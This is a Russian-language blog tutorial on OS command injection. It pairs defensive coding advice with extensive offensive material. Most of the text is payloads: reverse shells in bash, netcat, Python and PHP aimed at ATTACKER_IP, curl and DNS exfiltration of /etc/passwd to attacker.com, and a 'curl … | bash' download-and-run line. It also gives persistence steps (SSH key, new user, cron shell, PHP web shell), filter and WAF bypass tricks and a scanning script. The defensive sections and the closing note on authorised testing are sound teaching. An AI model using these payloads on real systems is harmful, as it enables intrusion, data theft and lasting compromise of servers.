The book of Magnus

IT-заметки и знания

Основы пентеста. Command Injection - Полное руководство

Tags = [ Command_injection, Pentest_base ]

Command Injection (OS Command Injection) - это уязвимость, которая позволяет злоумышленнику выполнять произвольные команды операционной системы на сервере, где запущено уязвимое приложение.

Почему это опасно?

  • Полный контроль над сервером
  • Чтение/изменение/удаление файлов
  • Кража данных
  • Установка backdoor
  • Lateral movement в сети
  • DoS атаки

Типы Command Injection

1. Прямая (Direct) Command Injection

Результат выполнения команды возвращается пользователю.

# Уязвимый код
import os
user_input = request.GET['filename']
os.system(f"cat {user_input}")  # УЯЗВИМО!

2. Слепая (Blind) Command Injection

Команда выполняется, но результат не возвращается напрямую.

# Уязвимый код
import subprocess
user_input = request.GET['email']
subprocess.call(f"echo {user_input} >> /var/log/emails.txt", shell=True)  # УЯЗВИМО!

Как это работает

Принцип работы

Когда приложение передаёт пользовательский ввод в системную команду без должной проверки:

# Намерение разработчика: ping 8.8.8.8
ip = request.GET['ip']  # Пользователь вводит: 8.8.8.8
os.system(f"ping -c 4 {ip}")

# Что может ввести злоумышленник: 8.8.8.8; cat /etc/passwd
# Результат: ping -c 4 8.8.8.8; cat /etc/passwd
# Выполнится ДВЕ команды!

Разделители команд в Unix/Linux

;   # Выполнить команды последовательно
&   # Выполнить в фоне
&&  # Выполнить если предыдущая успешна
||  # Выполнить если предыдущая провалилась
|   # Pipe - передать вывод в следующую команду
`   # Command substitution (обратные кавычки)
$() # Command substitution (современный способ)
\n  # Новая строка (в некоторых контекстах)

Разделители команд в Windows

&    # Выполнить обе команды
&&   # Выполнить если первая успешна
||   # Выполнить если первая провалилась
|    # Pipe
;    # В некоторых контекстах
%0A  # Новая строка (URL encoded)

Как находить уязвимости

1. Определение потенциальных точек входа

Ищите функционал, который:

  • Взаимодействует с файловой системой
  • Выполняет системные утилиты
  • Обрабатывает файлы (ping, nslookup, whois, traceroute)
  • Работает с архивами (zip, tar, unzip)
  • Выполняет конвертацию (imagemagick, ffmpeg)
  • Делает резервное копирование

2. Типичные уязвимые параметры

Примеры параметров, которые стоит проверить:
- ip, host, domain, url
- filename, file, path, dir, folder
- cmd, command, exec, execute
- email, username
- backup, restore
- convert, resize, compress

3. Методика тестирования

Шаг 1: Определите контекст

# Простой ввод
test

# Time-based detection (задержка)
; sleep 10
& ping -c 10 127.0.0.1
| sleep 10

# DNS-based detection (out-of-band)
; nslookup $(whoami).attacker.com

Шаг 2: Базовые payload'ы

# Unix/Linux
; ls
& ls
&& ls
| ls
|| ls
`ls`
$(ls)
; id
; whoami
; pwd

# Windows
& dir
&& dir
| dir
|| dir
; dir
& whoami

Шаг 3: Time-based тестирование

Если вывод не возвращается, используйте задержки:

# Unix/Linux
; sleep 5
& sleep 5 &
| sleep 5
; ping -c 5 127.0.0.1

# Windows
& timeout 5
| ping -n 5 127.0.0.1

Если страница загружается дольше на 5 секунд - уязвимость есть!

Шаг 4: Out-of-band тестирование

# DNS запросы (требуется свой DNS сервер или Burp Collaborator)
; nslookup attacker.com
; dig attacker.com
; host attacker.com

# HTTP запросы
; curl http://attacker.com
; wget http://attacker.com

# Exfiltration данных
; curl http://attacker.com/$(whoami)
; nslookup $(whoami).attacker.com

Методы эксплуатации

1. Прямая эксплуатация

# Базовая разведка
; whoami
; id
; pwd
; uname -a
; cat /etc/passwd

# Чтение файлов
; cat /etc/shadow
; cat /var/www/html/config.php
; cat ~/.ssh/id_rsa

# Листинг директорий
; ls -la /
; find / -name "*.conf"
; locate password

2. Reverse Shell

Bash Reverse Shell

; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
; bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'

Netcat Reverse Shell

; nc ATTACKER_IP 4444 -e /bin/bash
; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f

Python Reverse Shell

; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP Reverse Shell

; php -r '$sock=fsockopen("ATTACKER_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

На машине атакующего:

nc -lvnp 4444

3. Data Exfiltration (извлечение данных)

Через HTTP

# Простой
; curl http://attacker.com/?data=$(cat /etc/passwd | base64)

# С кодированием
; curl http://attacker.com/?data=$(cat /etc/passwd | base64 -w 0)

# POST запрос
; curl -X POST -d "data=$(cat /etc/passwd)" http://attacker.com

Через DNS

# Отправка данных через DNS запросы
; cat /etc/passwd | while read line; do nslookup $line.attacker.com; done

# Более стелс вариант
; data=$(cat /flag.txt | base64); nslookup $data.attacker.com

В файл, доступный через веб

# Копирование в веб-директорию
; cp /etc/passwd /var/www/html/passwd.txt
; cat /etc/passwd > /var/www/html/data.txt

# Затем открыть: http://target.com/passwd.txt

4. Persistence (закрепление)

# Добавление SSH ключа
; echo "ssh-rsa AAAA..." >> ~/.ssh/authorized_keys

# Добавление пользователя
; useradd -m -s /bin/bash hacker
; echo "hacker:password" | chpasswd

# Cron job
; echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" > /tmp/cron
; crontab /tmp/cron

# Backdoor в веб-директорию
; echo '<?php system($_GET["cmd"]); ?>' > /var/www/html/shell.php

Обход фильтрации

1. Обход фильтрации разделителей

Если ; заблокирован, попробуйте:

# Альтернативные разделители
&
&&
||
|
%0a (новая строка, URL encoded)
%0d%0a (CRLF)

# Пример
target& whoami
target&& whoami
target|| whoami
target| whoami

2. Обход фильтрации команд

Метод 1: Wildcards (символы подстановки)

# Вместо: cat flag.txt
/bin/c?t fla?.txt
/bin/ca* fl*g.*
/???/c?t /???/flag.txt

# Вместо: ls
/bin/l?
/???/l*

Метод 2: Переменные окружения

# Вместо: cat
$PATH  # содержит /bin:/usr/bin и т.д.
${PATH:0:1}  # выведет /
${PATH:0:4}  # выведет /bin

# Использование
${PATH:0:4}/cat flag.txt

Метод 3: Command substitution

# Вместо: cat
$(which cat) flag.txt
`which cat` flag.txt

Метод 4: Кавычки и экранирование

# Вместо: cat
c''at flag.txt
c""at flag.txt
c\at flag.txt
ca''t flag.txt

# Вместо: ls -la
l""s -l""a
l\s -l\a

Метод 5: Переменные

# Вместо: cat flag.txt
CMD=cat
$CMD flag.txt

FILE=flag
cat $FILE.txt

# Или
a=c;b=at;$a$b flag.txt

Метод 6: Base64 encoding

# Закодировать команду
echo "cat /etc/passwd" | base64
# Результат: Y2F0IC9ldGMvcGFzc3dk

# Выполнить
echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | bash
$(echo Y2F0IC9ldGMvcGFzc3dk | base64 -d)

Метод 7: Hex encoding

# Вместо: cat
echo -e "\x63\x61\x74" flag.txt

# Или
$(printf "\x63\x61\x74") flag.txt

Метод 8: Reverse

# Вместо: cat
echo 'tac' | rev  # выведет cat
$(echo 'tac' | rev) flag.txt

3. Обход фильтрации пробелов

# Если пробелы заблокированы:

# Метод 1: Табуляция
cat%09flag.txt
cat${IFS}flag.txt

# Метод 2: $IFS (Internal Field Separator)
cat$IFS$9flag.txt
cat${IFS}flag.txt

# Метод 3: Фигурные скобки
{cat,flag.txt}

# Метод 4: Редирект
cat<flag.txt
cat<>flag.txt

4. Обход фильтрации специфичных слов

Если слово "flag" заблокировано:

# Метод 1: Wildcards
cat fla?.*
cat *lag*
cat fl[a]g.txt

# Метод 2: Переменные
F=flag
cat $F.txt

# Метод 3: Конкатенация
cat fla''g.txt
cat fl""ag.txt
cat f\lag.txt

# Метод 4: Command substitution
cat $(echo flag).txt
cat `printf flag`.txt

# Метод 5: Base64
cat $(echo ZmxhZw== | base64 -d).txt

# Метод 6: Character codes
cat $(printf "\x66\x6c\x61\x67").txt

5. Обход длины ввода

Если есть ограничение на длину:

# Создать короткий alias
alias c=cat
c flag.txt

# Использовать короткие команды
id
ls
pwd

# Записать команду в файл
echo "cat /etc/passwd" > /tmp/x
sh /tmp/x

6. Обход WAF/IDS

# Case variation
CaT flag.txt
cAt flag.txt

# Unicode/UTF-8 обход
catflag.txt  # Невидимый символ

# Double encoding
%2561%2561  # Двойное кодирование 'a'

# Смешивание техник
c''at${IFS}fla?.*

7. Обход blacklist через PATH манипуляции

# Полный путь
/bin/cat flag.txt
/usr/bin/cat flag.txt

# Изменение PATH
PATH=/custom/path:$PATH
cat flag.txt

# Без PATH
./cat flag.txt  # если cat скопирован локально

Инструменты

1. Ручное тестирование

Commix (Command Injection Exploiter)

# Установка
git clone https://github.com/commixproject/commix.git
cd commix
python commix.py

# Использование
python commix.py --url="http://target.com/page?param=test" --data="ip=127.0.0.1"
python commix.py --url="http://target.com/page" --data="ip=INJECT_HERE"
python commix.py -r request.txt  # Из Burp

Burp Suite

1. Перехватить запрос
2. Отправить в Repeater/Intruder
3. Вставить payload'ы
4. Анализировать ответы

2. Payload списки

Популярные источники:

  • PayloadsAllTheThings (GitHub)
  • SecLists (GitHub)
  • OWASP Testing Guide

3. Автоматизация

Python скрипт для тестирования

import requests

payloads = [
    "; ls",
    "& ls",
    "| ls",
    "&& ls",
    "|| ls",
    "`ls`",
    "$(ls)",
]

url = "http://target.com/api"

for payload in payloads:
    data = {"param": f"test{payload}"}
    response = requests.post(url, data=data)
    
    if "bin" in response.text or "root" in response.text:
        print(f"[+] Vulnerability found with: {payload}")
        print(f"Response: {response.text[:200]}")

Защита от Command Injection

1. Избегайте системных вызовов

Плохо:

import os
os.system(f"ping -c 4 {user_input}")

Хорошо:

import subprocess
# Используйте список аргументов вместо строки
subprocess.run(["ping", "-c", "4", user_input], shell=False)

2. Валидация и санитизация ввода

import re

def validate_ip(ip):
    # Whitelist подход
    pattern = r'^(\d{1,3}\.){3}\d{1,3}$'
    if not re.match(pattern, ip):
        return False
    
    # Дополнительная проверка диапазона
    octets = ip.split('.')
    for octet in octets:
        if int(octet) > 255:
            return False
    
    return True

user_ip = request.GET['ip']
if validate_ip(user_ip):
    subprocess.run(["ping", "-c", "4", user_ip], shell=False)
else:
    return "Invalid IP address"

3. Whitelist вместо blacklist

Плохо (blacklist):

blacklist = [';', '&', '|', '`', '$', '(', ')']
for char in blacklist:
    user_input = user_input.replace(char, '')

Хорошо (whitelist):

import re

def is_valid_filename(filename):
    # Разрешены только буквы, цифры, точка, дефис, подчёркивание
    pattern = r'^[a-zA-Z0-9._-]+$'
    return bool(re.match(pattern, filename))

if is_valid_filename(user_input):
    # Безопасно использовать
    process_file(user_input)

4. Использование безопасных API

# Вместо os.system() используйте специализированные библиотеки

# Для работы с сетью
import socket
socket.gethostbyname(domain)  # Вместо nslookup

# Для работы с файлами
import shutil
shutil.copy(src, dst)  # Вместо cp

# Для архивации
import zipfile
with zipfile.ZipFile('file.zip', 'r') as zip_ref:
    zip_ref.extractall('dest')  # Вместо unzip

5. Принцип наименьших привилегий

# Запуск приложения от непривилегированного пользователя
sudo -u www-data python app.py

# В Docker
USER nobody

6. Песочница (Sandboxing)

import subprocess

# Ограничение ресурсов
subprocess.run(
    ["ping", "-c", "4", user_input],
    shell=False,
    timeout=5,  # Таймаут
    user='nobody'  # Непривилегированный пользователь (Linux)
)

7. WAF и мониторинг

- ModSecurity
- CloudFlare WAF
- AWS WAF
- Логирование всех системных вызовов
- Алерты на подозрительные паттерны

8. Code review checklist

✓ Избегаются ли вызовы shell=True?
✓ Используется ли валидация ввода?
✓ Применяется ли whitelist подход?
✓ Экранируются ли спецсимволы?
✓ Используются ли безопасные альтернативы?
✓ Ограничены ли права процесса?
✓ Логируются ли подозрительные действия?

Примеры из реальной жизни

Пример 1: Уязвимый ping функционал

Уязвимый код (PHP):

<?php
$ip = $_GET['ip'];
$output = shell_exec("ping -c 4 " . $ip);
echo "<pre>$output</pre>";
?>

Эксплуатация:

http://target.com/ping.php?ip=8.8.8.8; cat /etc/passwd

Исправление:

<?php
$ip = $_GET['ip'];

// Валидация IP
if (filter_var($ip, FILTER_VALIDATE_IP)) {
    // Безопасное выполнение
    $output = shell_exec("ping -c 4 " . escapeshellarg($ip));
    echo "<pre>" . htmlspecialchars($output) . "</pre>";
} else {
    echo "Invalid IP address";
}
?>

Пример 2: ImageMagick конвертер

Уязвимый код (Python):

@app.route('/convert', methods=['POST'])
def convert():
    filename = request.form['filename']
    format = request.form['format']
    
    os.system(f"convert {filename} output.{format}")
    return "Converted"

Эксплуатация:

filename: image.jpg; cat /etc/passwd > /var/www/html/passwd.txt
format: png

Исправление:

import subprocess
import re

@app.route('/convert', methods=['POST'])
def convert():
    filename = request.form['filename']
    format = request.form['format']
    
    # Валидация
    allowed_formats = ['png', 'jpg', 'gif', 'bmp']
    if format not in allowed_formats:
        return "Invalid format", 400
    
    if not re.match(r'^[a-zA-Z0-9._-]+$', filename):
        return "Invalid filename", 400
    
    # Безопасное выполнение
    try:
        subprocess.run(
            ["convert", filename, f"output.{format}"],
            shell=False,
            timeout=30,
            check=True
        )
        return "Converted successfully"
    except Exception as e:
        return "Conversion failed", 500

Пример 3: Backup функция

Уязвимый код (Node.js):

app.post('/backup', (req, res) => {
    const path = req.body.path;
    exec(`tar -czf backup.tar.gz ${path}`, (error, stdout, stderr) => {
        if (error) {
            return res.status(500).send('Backup failed');
        }
        res.send('Backup created');
    });
});

Эксплуатация:

POST /backup
path: /var/www; curl http://attacker.com/shell.sh | bash

Исправление:

const { execFile } = require('child_process');
const path = require('path');

app.post('/backup', (req, res) => {
    const dirPath = req.body.path;
    
    // Валидация и нормализация пути
    const normalizedPath = path.normalize(dirPath);
    const allowedPaths = ['/var/www/uploads', '/var/backups'];
    
    if (!allowedPaths.some(p => normalizedPath.startsWith(p))) {
        return res.status(403).send('Path not allowed');
    }
    
    // Безопасное выполнение (без shell)
    execFile('tar', ['-czf', 'backup.tar.gz', normalizedPath], 
        { timeout: 60000 },
        (error, stdout, stderr) => {
            if (error) {
                return res.status(500).send('Backup failed');
            }
            res.send('Backup created');
        }
    );
});

Практические сценарии эксплуатации

Сценарий 1: Слепая Command Injection

Когда результат не возвращается:

# 1. Time-based подтверждение
; sleep 10  # Если страница висит 10 секунд - уязвимость есть

# 2. Out-of-band exfiltration
; curl http://attacker.com/$(whoami)
; nslookup $(cat /etc/passwd | base64).attacker.com

# 3. Запись в веб-директорию
; ls -la > /var/www/html/output.txt
# Затем открыть: http://target.com/output.txt

Сценарий 2: Ограниченный вывод

Если вывод обрезается:

# Построчное чтение
; head -n 1 /etc/passwd
; head -n 2 /etc/passwd | tail -n 1
; sed -n '3p' /etc/passwd  # 3-я строка

# Разбиение на части
; cut -c1-50 /etc/passwd
; cut -c51-100 /etc/passwd

# Кодирование для обхода фильтров
; cat /etc/passwd | base64
; cat /etc/passwd | xxd

Сценарий 3: Эксплуатация с ограничениями

# Ограничение по длине команды
; >x ls  # Создать файл 'x' с содержимым вывода ls

# Ограничение символов
; w>x  # Использовать короткие команды

# Создание сложной команды по частям
; echo "cat /etc/passwd" > /tmp/c
; sh /tmp/c

Чек-лист для пентестера

Начальная разведка

  • Найдены ли точки входа с пользовательским вводом?
  • Проверены ли все параметры (GET, POST, Headers, Cookies)?
  • Определён ли тип ОС (Linux/Windows)?
  • Есть ли вывод команды или слепая инъекция?

Подтверждение уязвимости

  • Протестированы базовые разделители (;, &, |, &&, ||)?
  • Выполнены простые команды (whoami, id, pwd)?
  • Проверена time-based техника (sleep, ping)?
  • Попытка out-of-band подтверждения?

Эксплуатация

  • Получена информация о системе (uname, hostname)?
  • Прочитаны критичные файлы (/etc/passwd, config файлы)?
  • Найдены флаги/чувствительные данные?
  • Получен reverse shell?
  • Установлен persistence механизм?

Обход защиты

  • Определены заблокированные символы/команды?
  • Протестированы техники обхода (wildcards, encoding)?
  • Использованы альтернативные команды?
  • Применено кодирование (base64, hex)?

Пост-эксплуатация

  • Повышение привилегий?
  • Lateral movement?
  • Data exfiltration?
  • Cleanup следов?

Полезные ресурсы

Документация и гайды

  • OWASP Command Injection Guide
  • HackerOne Reports (публичные отчёты)
  • PayloadsAllTheThings (GitHub)
  • SANS Penetration Testing

Практика

  • HackTheBox
  • TryHackMe
  • PentesterLab
  • PortSwigger Web Security Academy
  • picoCTF

Инструменты

  • Burp Suite
  • Commix
  • OWASP ZAP
  • SQLMap (для SQL injection, но принципы похожи)

Cheat Sheets


Заключение

Command Injection - это критическая уязвимость, которая может привести к полной компрометации сервера.

Для разработчиков:

  • Никогда не доверяйте пользовательскому вводу
  • Используйте безопасные API вместо системных вызовов
  • Применяйте whitelist валидацию
  • Избегайте shell=True

Для пентестеров:

  • Тщательно тестируйте все точки входа
  • Используйте разные техники обхода
  • Документируйте находки
  • Всегда получайте разрешение перед тестированием

Помните: Эти знания должны использоваться только для легальных целей - пентестинга с разрешением, участия в bug bounty программах или образовательных CTF.